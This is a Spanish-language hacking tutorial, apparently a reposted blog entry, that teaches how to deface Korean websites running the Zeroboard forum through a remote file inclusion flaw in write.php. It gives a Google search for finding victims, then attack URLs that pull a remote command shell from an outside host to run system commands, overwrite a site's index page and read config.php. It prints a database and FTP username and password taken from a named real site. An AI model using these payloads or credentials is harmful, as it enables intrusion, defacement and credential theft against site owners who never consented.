Zeroboard es un sistema de foros desarrollado en PHP y al que se le han
encontrado multiples fallas en los ultimos meses, este sistema es bastante
conocido en Korea, permite icnluir comentarios, incluir smilies, e incluso
una de las skins es tambien vulnerable a Remote File Inclusion.
############################################################################
sh-2.05b$ ./ Buscando Victimas
############################################################################
Bien dado que el sistema es usado solo en Korea podriamos buscar sitios
de la siguiente manera:
****************************
allinurl: /zboard/zboard.php
****************************
Con lo cual la url para buscar sitios seria de la siguiente manera:
**************************************************************************
http://www.google.co.kr/search?hl=ko&q=allinurl%3A+zboard%2Fzboard.php&lr=
**************************************************************************
Listo tenemos ya algunas webs con las cuales podremos practicar :)
############################################################################
sh-2.05b$ ./ Explorando el BUG
############################################################################
Bien el bug se encuentra en el archivo write.php en las ultimas lineas jeje
primero tenemos unas lineas que no se entienden y despues la variable $dir
que es la causante del fallo :)
***********************************
include $dir."/write.php";
***********************************
Por lo que nuestro deface lo haremos de la siguiente manera:
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
http://juotte.com/bbs/include
/write.php?dir=http://mx.geocities.com/razorkron/cmd.txt?&cmd=uname -a;pwd;id
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
Y vemos que nos sale lo siguiente:
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
Linux www.somedomain.com 2.6.9-1.11_FC2 #1 Sun Jan 2 15:49:30 EST 2005 i686
i686 i386 GNU/Linux
/home/juotte/www/bbs/include
uid=99(nobody) gid=99(nobody) groups=99(nobody)
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
El cual nos indica: servidor; directorio actual y usuario :)
Sin embargo vemos que esta vez nos tenemos permisos de escritura :(
Sin embargo si los TUVIERAMOS podriamos hacer el deface de la siguiente mane
ra:
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
http://juotte.com/bbs/include
/write.php?dir=http://mx.geocities.com/razorkron/cmd.txt?&cmd=cd /home/juotte/www;echo Status-x was Here >index.html
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
Y nuestro deface se veria en la pagina principal :) espero que les sirva de
algo y que les ayude a subir sus defacements y pa que me alcanzen en el Top
de Zone-H :)
############################################################################
sh-2.05b$ ./ Tips de Deface
############################################################################
Espero que las personitas que esten leyendo este tuto se queden hasta esta
parte, la verdad es que este Bug ya lo he explorado bastante sin embargo
este fallo lo encontre mientras exploraba las configuraciones, etcetera
aun hay infinidad de webs vulnerables, bien esta vez el tip de deface
sera el siguiente:
Zeroboard como deben de suponer usa bases de datos para poder funcionar por lo
que siempre habra un usuario y un password:
Sin embargo ZeroBoard usa un config.php el cual contiene el user y password
de la base de datos pero posiblemente tambien el del FTP, en los sitios
que probe siempre me dejo loguearme al FTP :) y lo mejor de todo es que
al ser este un error del config descubierto por mi pues ha resultado bastan
te util a la hora de hacer el deface ya que solo el crew int3rc3pt0r tiene
conocimiento de el ;)
Para localizar el config.php lo haremos de la siguiente manera:
¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
http://localhost.com/zboard/include/
write.php?dir=http://mx.geocities.com/razorkron/cmd.txt?&cmd=cd%20..;cat%20config.php
¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
Y en el caso de la web de ejemplo nos saldra algo asi:
*************************************
<?
localhost
juotte <--------------- user
juotte7034 <--------------- password
juotte
?>
*************************************
Y listo tenemos el user y pass del FTP
Disculpen si la web de ejemplo ya no agarra el pass del FTP pero es que ya fue
atacada por mi con anterioridad sin embargo no pierdan la esperanza generalmente
algunos .snu.kr o ac.kr NO tienen FTP por lo que no podran usar este tip
sin embargo sitios .kr .org .com .net si lo tienen y podran aplicarlo ;)
############################################################################
Editado por 3rr0r
Cap comentari:
Publica un comentari a l'entrada